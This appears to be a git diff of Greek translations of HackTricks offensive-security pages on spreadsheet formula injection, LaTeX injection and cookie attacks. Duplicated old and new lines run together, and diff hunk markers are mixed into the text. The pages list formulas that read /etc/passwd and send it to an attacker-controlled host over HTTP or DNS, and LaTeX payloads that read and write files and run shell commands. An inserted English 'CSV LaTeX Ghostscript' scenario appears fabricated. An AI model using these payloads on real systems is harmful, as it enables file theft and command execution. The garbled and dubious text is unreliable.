### Εισαγωγή Τοπικού Αρχείου (LFI) στο LibreOffice Calc ### Ενσωμάτωση Τοπικού Αρχείου (LFI) στο LibreOffice Calc
Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξαγωγή δεδομένων. Εδώ είναι μερικές μέθοδοι: Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξυφάνταση δεδομένων. Εδώ είναι μερικές μεθόδοι:
- Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1` * Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Εξαγωγή των αναγνωσμένων δεδομένων σε έναν διακινδυνευμένο διακομιστή ελεγκτή: `=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)))` * Εξύφανση των δεδομένων προς έναν ελεγκτή επιθέσεων: `=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Εξαγωγή περισσότερων από μία γραμμή: `=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * Εξύφανση περισσότερων από μία γραμμή: `=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- Εξαγωγή δεδομένων μέσω DNS (αποστολή αναγνωσμένων δεδομένων ως ερωτήματα DNS σε έναν διακομιστή DNS ελεγκτή): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<τομέας επιτιθέμενου>"))` * Εξύφανση DNS (αποστολή δεδομένων ανάγνωσης ως ερωτήματα DNS σε έναν ελεγκτή DNS που ελέγχεται από τον επιτιθέμενο): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domain του επιτιθέμενου>"))`
### Google Sheets για την Εξαγωγή Δεδομένων μέσω Out-of-Band (OOB) ### Google Sheets για Εξύφανση Δεδομένων Out-of-Band (OOB)
Το Google Sheets προσφέρει λειτουργίες που μπορούν να εκμεταλλευτούνται για την εξαγωγή δεδομένων μέσω OOB: Το Google Sheets προσφέρει λειτουργίες που μπορούν να εκμεταλλευτούν για την εξύφανση δεδομένων OOB:
- **CONCATENATE**: Συνενώνει αλφαριθμητικά - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - `=IMPORTXML(CONCAT("http://<διεύθυνση IP επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Εισάγει τροφοδοσίες RSS ή ATOM - `=IMPORTFEED(CONCAT("http://<διεύθυνση IP επιτιθέμενου:Θύρα>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Εισάγει δεδομένα από πίνακες ή λίστες HTML - `=IMPORTHTML (CONCAT("http://<διεύθυνση IP επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Εισάγει ένα εύρος κελιών από ένα άλλο φύλλο εργασίας - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Αναγνωριστικό_Φύλλου]", "sheet1!A2:E2")`
- **IMAGE**: Εισάγει μια εικόνα σε ένα κελί - `=IMAGE("https://<διεύθυνση IP επιτιθέμενου:Θύρα>/images/srpr/logo3w.png")`
* **CONCATENATE**: Συνενώνει αλφαριθμητικά - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - `=IMPORTXML(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Εισάγει ροές RSS ή ATOM - `=IMPORTFEED(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Εισάγει δεδομένα από πίνακες HTML ή λίστες - `=IMPORTHTML (CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Εισάγει ένα εύρος κελιών από άλλο φύλλο εργασίας - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Αναγνωριστικό_Φύλλου]", "sheet1!A2:E2")`
* **IMAGE**: Εισάγει μια εικόνα σε ένα κελί - `=IMAGE("https://<διεύθυνση IP του επιτιθέμενου:Θύρα>/images/srpr/logo3w.png")`
## Εισαγωγή LaTeX ## Εισαγωγή LaTeX
Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που **μετατρέπουν κώδικα LaTeX σε PDF** χρησιμοποιούν το **`pdflatex`**.\ Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που **μετατρέπουν κώδικα LaTeX σε PDF** χρησιμοποιούν το **`pdflatex`**.\
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για να (απ)επιτρέψει την εκτέλεση εντολών: Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για την (απ)επιτροπή εκτέλεσης εντολών:
* **`--no-shell-escape`**: **Απενεργοποιεί** την κατασκευή `\write18{command}`, ακόμα κι αν είναι ενεργοποιημένη στο αρχείο texmf.cnf. * **`--no-shell-escape`**: **Απενεργοποιεί** την κατασκευή `\write18{command}`, ακόμη κι αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
* **`--shell-restricted`**: Ίδιο με το `--shell-escape`, αλλά **περιορίζεται** σε ένα 'ασφαλές' σύνολο **προκαθορισμένων** εντολών (\*\*Στο Ubuntu 16.04 η λίστα βρίσκεται στο `/usr/share/texmf/web2c/texmf.cnf`). * **`--shell-restricted`**: Ίδιο με το `--shell-escape`, αλλά **περιορίζεται** σε ένα σύνολο 'ασφαλών' **προκαθορισμένων** \*\*εντολών (\*\*Στο Ubuntu 16.04 η λίστα βρίσκεται στο `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Ενεργοποιεί** την κατασκευή `\write18{command}`. Η εντολή μπορεί να είναι οποιαδήποτε εντολή κέλυφους. Αυτή η κατασκευή απαγορεύεται κανονικά για λόγους ασφαλείας. * **`--shell-escape`**: **Ενεργοποιεί** την κατασκευή `\write18{command}`. Η εντολή μπορεί να είναι οποιαδήποτε εντολή κελύφους. Αυτή η κατασκευή απαγορεύεται κανονικά για λόγους ασφαλείας.
Ωστόσο, υπάρχουν και άλλοι τρόποι εκτέλεσης εντολών, οπότε για να αποφευχθεί η RCE είναι πολύ σημαντικό να χρησιμοποιηθεί το `--shell-restricted`. Ωστόσο, υπάρχουν και άλλοι τρόποι εκτέλεσης εντολών, οπότε για να αποφευχθεί η RCE είναι πολύ σημαντικό να χρησιμοποιηθεί το `--shell-restricted`.
### Ανάγνωση αρχείου <a href="#read-file" id="read-file"></a> ### Ανάγνωση αρχείου <a href="#read-file" id="read-file"></a>
Μπορεί να χρειαστεί να προσαρμόσετε την εισαγωγή με περιτυλίγματα όπως \[ ή $. Μπορεί να χρειαστεί να προσαρμόσετε την ενσωμάτωση με περιτύλιγματα όπως \[ ή $.
```bash ```bash
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{password} # load .tex file
@ -124,23 +111,7 @@ DDE ("cmd";"/C calc";"!A0")A0
\usepackage{verbatim} \usepackage{verbatim}
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
#### Διάβασμα αρχείου με μία γραμμή #### Διαβάστε αρχείο με μία γραμμή
Για να διαβάσετε ένα αρχείο με μία γραμμή, μπορείτε να χρησιμοποιήσετε την εντολή `cat` στο Linux. Η εντολή `cat` εμφανίζει το περιεχόμενο ενός αρχείου στο τερματικό.
```bash
cat filename
```
Αντικαταστήστε το `filename` με το όνομα του αρχείου που θέλετε να διαβάσετε. Η εντολή `cat` θα εμφανίσει το περιεχόμενο του αρχείου στο τερματικό.
Αν θέλετε να αποθηκεύσετε το περιεχόμενο του αρχείου σε ένα άλλο αρχείο, μπορείτε να χρησιμοποιήσετε την εντολή ανακατεύθυνσης εξόδου `>`.
```bash
cat filename > output.txt
```
Αυτή η εντολή θα δημιουργήσει ένα νέο αρχείο με όνομα `output.txt` και θα αποθηκεύσει το περιεχόμενο του αρχικού αρχείου σε αυτό το νέο αρχείο.
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/issue \openin\file=/etc/issue
@ -148,20 +119,7 @@ cat filename > output.txt
\text{\line} \text{\line}
\closein\file \closein\file
``` ```
#### Διάβασμα πολλαπλών γραμμών αρχείου #### Διαβάστε αρχείο με πολλαπλές γραμμές
Για να διαβάσετε ένα αρχείο με πολλαπλές γραμμές, μπορείτε να χρησιμοποιήσετε την παρακάτω μέθοδο:
```python
with open('αρχείο.txt', 'r') as file:
γραμμές = file.readlines()
for γραμμή in γραμμές:
print(γραμμή)
```
Αυτό το κομμάτι κώδικα ανοίγει το αρχείο με όνομα "αρχείο.txt" σε λειτουργία ανάγνωσης (`'r'`) και αποθηκεύει κάθε γραμμή του αρχείου σε μια λίστα με την χρήση της μεθόδου `readlines()`. Έπειτα, εκτυπώνει κάθε γραμμή με τη χρήση μιας `for` επανάληψης.
Μπορείτε να προσαρμόσετε τον κώδικα ανάλογα με τις ανάγκες σας, όπως να επεξεργαστείτε κάθε γραμμή ξεχωριστά ή να αποθηκεύσετε τις γραμμές σε μια άλλη δομή δεδομένων.
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
@ -171,7 +129,7 @@ with open('αρχείο.txt', 'r') as file:
\repeat \repeat
\closein\file \closein\file
``` ```
### Εγγραφή αρχείου <a href="#write-file" id="write-file"></a> ### Γράψτε αρχείο <a href="#write-file" id="write-file"></a>
```bash ```bash
\newwrite\outfile \newwrite\outfile
\openout\outfile=cmd.tex \openout\outfile=cmd.tex
@ -203,7 +161,31 @@ with open('αρχείο.txt', 'r') as file:
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
Εάν λάβετε οποιοδήποτε σφάλμα LaTex, σκεφτείτε να χρησιμοποιήσετε το base64 για να λάβετε το αποτέλεσμα χωρίς κακούς χαρακτήρες. ### Formula CSV Document LaTeX Ghostscript Injection
---
#### Attack Scenario
An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This can lead to the execution of arbitrary commands on the victim's machine when the CSV file is converted to a PDF using Ghostscript.
#### Exploitation
1. Craft a CSV file with a formula that includes LaTeX syntax for executing commands.
2. Send the malicious CSV file to the victim or host it on a website for the victim to download.
3. The victim opens the CSV file with a vulnerable spreadsheet application that supports LaTeX formula rendering.
4. The victim exports the CSV file to PDF using Ghostscript, which processes the LaTeX formula and executes the embedded commands.
5. Arbitrary commands are executed on the victim's machine, allowing the attacker to take control or steal sensitive information.
#### Mitigation
- Avoid opening CSV files from untrusted sources.
- Ensure that spreadsheet applications and PDF converters are updated to the latest versions to patch known vulnerabilities.
- Consider using a secure PDF viewer that sanitizes and restricts the execution of embedded scripts.
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -222,7 +204,7 @@ with open('αρχείο.txt', 'r') as file:
``` ```
## Εισαγωγή Ghostscript ## Εισαγωγή Ghostscript
**Ελέγξτε [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)** **Έλεγχος** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Αναφορές ## Αναφορές
@ -231,22 +213,16 @@ with open('αρχείο.txt', 'r') as file:
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -1,81 +1,100 @@
# Χάκινγκ των Cookies # Χακάρισμα Cookies
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκαρισμα AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκαρισμά σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Χαρακτηριστικά Cookies
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Τα cookies έρχονται με διάφορα χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Εδώ έχουμε μια ανασκόπηση αυτών των χαρακτηριστικών με πιο παθητική φωνή:
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Χαρακτηριστικά των Cookies
Τα cookies έχουν αρκετά χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Παρακάτω παρουσιάζονται αυτά τα χαρακτηριστικά με πιο παθητική φωνή:
### Λήξη και Max-Age ### Λήξη και Max-Age
Η ημερομηνία λήξης ενός cookie καθορίζεται από το χαρακτηριστικό `Expires`. Αντίστοιχα, το χαρακτηριστικό `Max-age` καθορίζει το χρόνο σε δευτερόλεπτα μέχρι το cookie να διαγραφεί. **Προτιμήστε το `Max-age`, καθώς αντικατοπτρίζει πιο σύγχρονες πρακτικές.** Η ημερομηνία λήξης ενός cookie καθορίζεται από το χαρακτηριστικό `Expires`. Αντίστοιχα, το χαρακτηριστικό `Max-age` καθορίζει το χρόνο σε δευτερόλεπτα μέχρι το cookie να διαγραφεί. **Επιλέξτε το `Max-age` καθώς αντικατοπτρίζει πιο σύγχρονες πρακτικές.**
### Domain ### Domain
Τα hosts που λαμβάνουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον host που εξέδωσε το cookie, χωρίς να περιλαμβάνει τα subdomains του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει επίσης και τα subdomains. Αυτό καθιστά τον καθορισμό του χαρακτηριστικού `Domain` μια λιγότερο περιοριστική επιλογή, χρήσιμη για περιπτώσεις όπου είναι απαραίτητος ο κοινός χρήσης των cookies σε subdomains. Για παράδειγμα, ορίζοντας `Domain=mozilla.org`, τα cookies είναι προσβάσιμα στα subdomains του όπως το `developer.mozilla.org`. Οι φιλοξενούμενοι που λαμβάνουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον φιλοξενούμενο που εξέδωσε το cookie, χωρίς να συμπεριλαμβάνει τα υποτομεία του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει επίσης τα υποτομεία. Αυτό καθιστά την καθορισμό του χαρακτηριστικού `Domain` μια λιγότερο περιοριστική επιλογή, χρήσιμη για περιπτώσεις όπου είναι απαραίτητο το κοινόχρηστο cookie σε υποτομεία. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στα υποτομέα της όπως το `developer.mozilla.org`.
### Path ### Διαδρομή
Ένα συγκεκριμένο μονοπάτι URL που πρέπει να υπάρχει στο αιτούμενο URL για να αποσταλεί η κεφαλίδα `Cookie` υποδεικνύεται από το χαρακτηριστικό `Path`. Αυτό το χαρακτηριστικό θεωρεί τον χαρακτήρα `/` ως διαχωριστικό καταλόγου, επιτρέποντας αντιστοιχίες και σε υποκαταλόγους. Μια συγκεκριμένη διαδρομή URL που πρέπει να υπάρχει στο αιτούμενο URL για την αποστολή της κεφαλίδας `Cookie` υποδεικνύεται από το χαρακτηριστικό `Path`. Αυτό το χαρακτηριστικό θεωρεί τον χαρακτήρα `/` ως διαχωριστικό καταλόγου, επιτρέποντας τις αντιστοιχίες σε υποκαταλόγους επίσης.
### Κανόνες Ταξινόμησης ### Κανόνες Ταξινόμησης
Όταν δύο cookies έχουν το ίδιο όνομα, το επιλεγόμενο για αποστολή βασίζεται στα εξής: Όταν δύο cookies έχουν το ίδιο όνομα, το επιλεγόμενο για αποστολή βασίζεται σε:
- Το cookie που ταιριάζει με το μακρύτερο μονοπάτι στο αιτούμενο URL.
- Το πιο πρόσφατα ορισμένο cookie, εάν τα μονοπάτια είναι ίδια. * Το cookie που ταιριάζει με τη μακρύτερη διαδρομή στο αιτούμενο URL.
* Το πιο πρόσφατα ορισμένο cookie αν οι διαδρομές είναι ίδιες.
### SameSite ### SameSite
- Το χαρακτηριστικό `SameSite` καθορίζει εάν τα cookies αποστέλλονται σε αιτήσεις που προέρχονται απ * Το χαρακτηριστικό `SameSite` καθορίζει εάν τα cookies αποστέλλονται σε αιτήσεις που προέρχονται από τομείς τρίτων. Προσφέρει τρεις ρυθμίσεις:
## Προθέματα Cookies * **Αυστηρό**: Περιορίζει το cookie από την αποστολή σε αιτήσεις τρίτων.
* **Χαλαρό**: Επιτρέπει την αποστολή του cookie με GET αιτήσεις που ξεκινούν από ιστοσελίδες τρίτων.
* **Κανένα**: Επιτρέπει την αποστολή του cookie από οποιοδήποτε τομέα τρίτων.
Τα cookies που έχουν πρόθεμα `__Secure-` πρέπει να ορίζονται μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες με HTTPS. Να θυμάστε, κατά τη διαμόρφωση των cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να εξασφαλιστεί ότι θα συμπεριφέρονται όπως αναμένεται σε διαφορετικά σενάρια.
Για τα cookies που έχουν πρόθεμα `__Host-`, πρέπει να ικανοποιούνται αρκετές προϋποθέσεις: | **Τύπος Αιτήματος** | **Παράδειγμα Κώδικα** | **Cookies Αποστέλλονται Όταν** |
- Πρέπει να ορίζονται με τη σημαία `secure`. | ---------------- | ---------------------------------- | --------------------- |
- Πρέπει να προέρχονται από μια σελίδα που είναι ασφαλισμένη με HTTPS. | Σύνδεσμος | \<a href="...">\</a> | NotSet\*, Lax, None |
- Απαγορεύεται η καθορισμός ενός τομέα για αυτά τα cookies, προκαλώντας έτσι τη μη μετάδοσή τους σε υποτομείς. | Προεκτέλεση | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
- Το μονοπάτι για αυτά τα cookies πρέπει να οριστεί σε `/`. | Φόρμα GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Φόρμα POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Εικόνα | \<img src="..."> | NetSet\*, None |
Είναι σημαντικό να σημειωθεί ότι τα cookies που έχουν πρόθεμα `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτός ο περιορισμός βοηθά στην απομόνωση των cookies της εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies της εφαρμογής μπορεί να θεωρηθεί ως μια καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης. Πίνακας από [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) και ελαφρώς τροποποιημένο.\
Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **ελαττώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνεδρία σύνδεσης.
## Επιθέσεις σε Cookies **\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό sameSite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** στο Chrome θα **χειριστούν ως None** κατά τα **πρώτα 2 λεπτά και στη συνέχεια ως Lax για αιτήματα POST διασταυρούμενων τομέων κορυφαίου επιπέδου.**
Εάν ένα προσαρμοσμένο cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ιδιαίτερα εάν παίζετε ένα CTF), καθώς μπορεί να είναι ευάλωτο. ## Σημαίες Cookies
### HttpOnly
Αυτό αποφεύγει τον **πελάτη** να έχει πρόσβαση στο cookie (Μέσω **Javascript** για παράδειγμα: `document.cookie`)
#### **Παρακάμψεις**
* Αν η σελίδα **στέλνει τα cookies ως απάντηση** μιας αιτήσεως (για παράδειγμα σε μια σελίδα **PHPinfo**), είναι δυνατό να καταχραστείτε το XSS για να στείλετε μια αίτηση σε αυτή τη σελίδα και να **κλέψετε τα cookies** από την απάντηση (ελέγξτε ένα παράδειγμα στο [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Αυτό μπορεί να Παρακαμφθεί με αιτήσεις **TRACE HTTP** καθώς η απάντηση από τον διακομιστή (εάν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντανακλά τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
* Αυτή η τεχνική αποφεύγεται από τους **σύγχρονους περιηγητές μη επιτρέποντας την αποστολή ενός αιτήματος TRACE** από το JS. Ωστόσο, έχουν βρεθεί κάποιες παρακάμψεις σε αυτό σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
* Ένας άλλος τρόπος είναι η εκμετάλλευση ευπάθειών μηδέν/ημέρας των περιηγητών.
* Είναι δυνατό να **αντικατασταθούν τα HttpOnly cookies** με μια επίθεση ανάχωσης Cookie Jar overflow:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-
## Επιθέσεις με Cookies
Εάν ένα προσαρμοσμένο cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ειδικά αν παίζετε ένα CTF), καθώς ενδέχεται να είναι ευάλωτο.
### Αποκωδικοποίηση και Αλλοίωση Cookies ### Αποκωδικοποίηση και Αλλοίωση Cookies
